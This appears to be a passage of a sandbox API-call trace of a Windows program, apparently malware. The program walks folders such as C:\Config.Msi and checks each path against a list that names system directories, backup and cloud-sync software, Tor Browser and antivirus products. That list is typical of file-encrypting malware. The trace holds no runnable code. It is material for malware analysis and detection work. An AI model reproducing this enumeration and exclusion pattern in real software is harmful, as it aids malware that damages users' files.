lpsz="\\WINDOWS10UPGRADE\\", cchLength=0x12 | out: lpsz="\\WINDOWS10UPGRADE\\") returned 0x12 [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\$RECYCLE.BIN\\", cchLength=0xe | out: lpsz="\\$RECYCLE.BIN\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\WINDOWS NT\\", cchLength=0xc | out: lpsz="\\WINDOWS NT\\") returned 0xc [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\COMMON FILES\\", cchLength=0xe | out: lpsz="\\COMMON FILES\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\TEMP\\", cchLength=0x6 | out: lpsz="\\TEMP\\") returned 0x6 [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\BOOT\\", cchLength=0x6 | out: lpsz="\\BOOT\\") returned 0x6 [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\MSOCACHE\\", cchLength=0xa | out: lpsz="\\MSOCACHE\\") returned 0xa [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\DEFAULT USER\\", cchLength=0xe | out: lpsz="\\DEFAULT USER\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="FILES\\ACRONIS\\", cchLength=0xe | out: lpsz="FILES\\ACRONIS\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="(X86)\\ACRONIS\\", cchLength=0xe | out: lpsz="(X86)\\ACRONIS\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="FILES\\BACKUPCLIENT\\", cchLength=0x13 | out: lpsz="FILES\\BACKUPCLIENT\\") returned 0x13 [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="(X86)\\BACKUPCLIENT\\", cchLength=0x13 | out: lpsz="(X86)\\BACKUPCLIENT\\") returned 0x13 [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="FILES\\BACKUP MANAGER\\", cchLength=0x15 | out: lpsz="FILES\\BACKUP MANAGER\\") returned 0x15 [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="(X86)\\BACKUP MANAGER\\", cchLength=0x15 | out: lpsz="(X86)\\BACKUP MANAGER\\") returned 0x15 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="FILES\\CARBONITE\\", cchLength=0x10 | out: lpsz="FILES\\CARBONITE\\") returned 0x10 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="(X86)\\CARBONITE\\", cchLength=0x10 | out: lpsz="(X86)\\CARBONITE\\") returned 0x10 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="FILES\\GOOGLE\\DRIVE\\", cchLength=0x13 | out: lpsz="FILES\\GOOGLE\\DRIVE\\") returned 0x13 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="(X86)\\GOOGLE\\DRIVE\\", cchLength=0x13 | out: lpsz="(X86)\\GOOGLE\\DRIVE\\") returned 0x13 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="FILES\\DROPBOX\\", cchLength=0xe | out: lpsz="FILES\\DROPBOX\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="(X86)\\DROPBOX\\", cchLength=0xe | out: lpsz="(X86)\\DROPBOX\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="FILES\\MICROSOFT ONEDRIVE\\", cchLength=0x19 | out: lpsz="FILES\\MICROSOFT ONEDRIVE\\") returned 0x19 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="(X86)\\MICROSOFT ONEDRIVE\\", cchLength=0x19 | out: lpsz="(X86)\\MICROSOFT ONEDRIVE\\") returned 0x19 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="FILES\\ONEDRIVE\\", cchLength=0xf | out: lpsz="FILES\\ONEDRIVE\\") returned 0xf [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="(X86)\\ONEDRIVE\\", cchLength=0xf | out: lpsz="(X86)\\ONEDRIVE\\") returned 0xf [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="VNC\\", cchLength=0x4 | out: lpsz="VNC\\") returned 0x4 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="\\INTERNET EXPLORER\\", cchLength=0x13 | out: lpsz="\\INTERNET EXPLORER\\") returned 0x13 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="\\MICROSOFT\\OFFICE\\", cchLength=0x12 | out: lpsz="\\MICROSOFT\\OFFICE\\") returned 0x12 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="\\MICROSOFT OFFICE\\", cchLength=0x12 | out: lpsz="\\MICROSOFT OFFICE\\") returned 0x12 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="\\WINDOWS SIDEBAR\\", cchLength=0x11 | out: lpsz="\\WINDOWS SIDEBAR\\") returned 0x11 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="\\WINDOWS MEDIA PLAYER\\", cchLength=0x16 | out: lpsz="\\WINDOWS MEDIA PLAYER\\") returned 0x16 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="\\DVD MAKER\\", cchLength=0xb | out: lpsz="\\DVD MAKER\\") returned 0xb [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\WINDOWSPOWERSHELL\\", cchLength=0x13 | out: lpsz="\\WINDOWSPOWERSHELL\\") returned 0x13 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\WINDOWS DEFENDER\\", cchLength=0x12 | out: lpsz="\\WINDOWS DEFENDER\\") returned 0x12 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\TOR BROWSER\\", cchLength=0xd | out: lpsz="\\TOR BROWSER\\") returned 0xd [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\ASPNET_CLIENT\\", cchLength=0xf | out: lpsz="\\ASPNET_CLIENT\\") returned 0xf [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\REFERENCE ASSEMBLIES\\", cchLength=0x16 | out: lpsz="\\REFERENCE ASSEMBLIES\\") returned 0x16 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\MICROSOFT\\PROVISIONING\\", cchLength=0x18 | out: lpsz="\\MICROSOFT\\PROVISIONING\\") returned 0x18 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\MICROSOFT SILVERLIGHT\\", cchLength=0x17 | out: lpsz="\\MICROSOFT SILVERLIGHT\\") returned 0x17 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\PROGRAMDATA\\MICROSOFT\\", cchLength=0x17 | out: lpsz="\\PROGRAMDATA\\MICROSOFT\\") returned 0x17 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\MICROSOFT\\CRYPTO\\", cchLength=0x12 | out: lpsz="\\MICROSOFT\\CRYPTO\\") returned 0x12 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\WINDOWSAPPS\\", cchLength=0xd | out: lpsz="\\WINDOWSAPPS\\") returned 0xd [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\7-ZIP\\", cchLength=0x7 | out: lpsz="\\7-ZIP\\") returned 0x7 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\WINRAR\\", cchLength=0x8 | out: lpsz="\\WINRAR\\") returned 0x8 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\ESET", cchLength=0x5 | out: lpsz="\\ESET") returned 0x5 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\AVAST", cchLength=0x6 | out: lpsz="\\AVAST") returned 0x6 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\MALWAREBYTES", cchLength=0xd | out: lpsz="\\MALWAREBYTES") returned 0xd [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\SYMANTEC ENDPOINT", cchLength=0x12 | out: lpsz="\\SYMANTEC ENDPOINT") returned 0x12 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\TREND MICRO", cchLength=0xc | out: lpsz="\\TREND MICRO") returned 0xc [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="\\BITDEFENDER", cchLength=0xc | out: lpsz="\\BITDEFENDER") returned 0xc [0029.624] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="\\PANDA SECURITY", cchLength=0xf | out: lpsz="\\PANDA SECURITY") returned 0xf [0029.624] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="\\MCAFEE", cchLength=0x7 | out: lpsz="\\MCAFEE") returned 0x7 [0029.624] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="\\KASPERSKY LAB", cchLength=0xe | out: lpsz="\\KASPERSKY LAB") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="\\KASPERSKYLAB", cchLength=0xd | out: lpsz="\\KASPERSKYLAB") returned 0xd [0029.624] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="\\AVDEFENDER", cchLength=0xb | out: lpsz="\\AVDEFENDER") returned 0xb [0029.624] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="\\SOPHOS", cchLength=0x7 | out: lpsz="\\SOPHOS") returned 0x7 [0029.624] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="\\AVG", cchLength=0x4 | out: lpsz="\\AVG") returned 0x4 [0029.624] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70e3e8 [0029.624] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.625] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0029.625] FindClose (in: hFindFile=0x70e3e8 | out: hFindFile=0x70e3e8) returned 1 [0029.625] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0029.625] CharUpperBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", cchLength=0x26 | out: lpsz="C:\\USERS\\5P5NRGJN0JS HALPMCXZ\\DESKTOP\\") returned 0x26 [0029.625] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.625] CharUpperBuffW (in: lpsz="\\PERFLOGS\\", cchLength=0xa | out: lpsz="\\PERFLOGS\\") returned 0xa [0029.625] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.625] CharUpperBuffW (in: lpsz="\\WINDOWS\\", cchLength=0x9 | out: lpsz="\\WINDOWS\\") returned 0x9 [0029.625] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.625] CharUpperBuffW (in: lpsz="\\WINDOWS.OLD\\", cchLength=0xd | out: lpsz="\\WINDOWS.OLD\\") returned 0xd [0029.625] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.625] CharUpperBuffW (in: lpsz="\\WINDOWS10UPGRADE\\", cchLength=0x12 | out: lpsz="\\WINDOWS10UPGRADE\\") returned 0x12 [0029.625] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.625] CharUpperBuffW (in: lpsz="\\$RECYCLE.BIN\\", cchLength=0xe | out: lpsz="\\$RECYCLE.BIN\\") returned 0xe [0029.625] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.625] CharUpperBuffW (in: lpsz="\\WINDOWS NT\\", cchLength=0xc | out: lpsz="\\WINDOWS NT\\") returned 0xc [0029.625] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="\\COMMON FILES\\", cchLength=0xe | out: lpsz="\\COMMON FILES\\") returned 0xe [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="\\TEMP\\", cchLength=0x6 | out: lpsz="\\TEMP\\") returned 0x6 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="\\BOOT\\", cchLength=0x6 | out: lpsz="\\BOOT\\") returned 0x6 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="\\MSOCACHE\\", cchLength=0xa | out: lpsz="\\MSOCACHE\\") returned 0xa [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="\\DEFAULT USER\\", cchLength=0xe | out: lpsz="\\DEFAULT USER\\") returned 0xe [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="FILES\\ACRONIS\\", cchLength=0xe | out: lpsz="FILES\\ACRONIS\\") returned 0xe [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="(X86)\\ACRONIS\\", cchLength=0xe | out: lpsz="(X86)\\ACRONIS\\") returned 0xe [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="FILES\\BACKUPCLIENT\\", cchLength=0x13 | out: lpsz="FILES\\BACKUPCLIENT\\") returned 0x13 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="(X86)\\BACKUPCLIENT\\", cchLength=0x13 | out: lpsz="(X86)\\BACKUPCLIENT\\") returned 0x13 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="FILES\\BACKUP MANAGER\\", cchLength=0x15 | out: lpsz="FILES\\BACKUP MANAGER\\") returned 0x15 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="(X86)\\BACKUP MANAGER\\", cchLength=0x15 | out: lpsz="(X86)\\BACKUP MANAGER\\") returned 0x15 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="FILES\\CARBONITE\\", cchLength=0x10 | out: lpsz="FILES\\CARBONITE\\") returned 0x10 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="(X86)\\CARBONITE\\", cchLength=0x10 | out: lpsz="(X86)\\CARBONITE\\") returned 0x10 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="FILES\\GOOGLE\\DRIVE\\", cchLength=0x13 | out: lpsz="FILES\\GOOGLE\\DRIVE\\") returned 0x13 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="(X86)\\GOOGLE\\DRIVE\\", cchLength=0x13 | out: lpsz="(X86)\\GOOGLE\\DRIVE\\") returned 0x13 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="FILES\\DROPBOX\\", cchLength=0xe | out: lpsz="FILES\\DROPBOX\\") returned 0xe [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="(X86)\\DROPBOX\\", cchLength=0xe | out: lpsz="(X86)\\DROPBOX\\") returned 0xe [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="FILES\\MICROSOFT ONEDRIVE\\", cchLength=0x19 | out: lpsz="FILES\\MICROSOFT ONEDRIVE\\") returned 0x19 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="(X86)\\MICROSOFT ONEDRIVE\\", cchLength=0x19 | out: lpsz="(X86)\\MICROSOFT ONEDRIVE\\") returned 0x19 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="FILES\\ONEDRIVE\\", cchLength=0xf | out: lpsz="FILES\\ONEDRIVE\\") returned 0xf [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="(X86)\\ONEDRIVE\\", cchLength=0xf | out: lpsz="(X86)\\ONEDRIVE\\") returned 0xf [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="VNC\\", cchLength=0x4 | out: lpsz="VNC\\") returned 0x4 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\INTERNET EXPLORER\\", cchLength=0x13 | out: lpsz="\\INTERNET EXPLORER\\") returned 0x13 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\MICROSOFT\\OFFICE\\", cchLength=0x12 | out: lpsz="\\MICROSOFT\\OFFICE\\") returned 0x12 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\MICROSOFT OFFICE\\", cchLength=0x12 | out: lpsz="\\MICROSOFT OFFICE\\") returned 0x12 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\WINDOWS SIDEBAR\\", cchLength=0x11 | out: lpsz="\\WINDOWS SIDEBAR\\") returned 0x11 [0029.627] 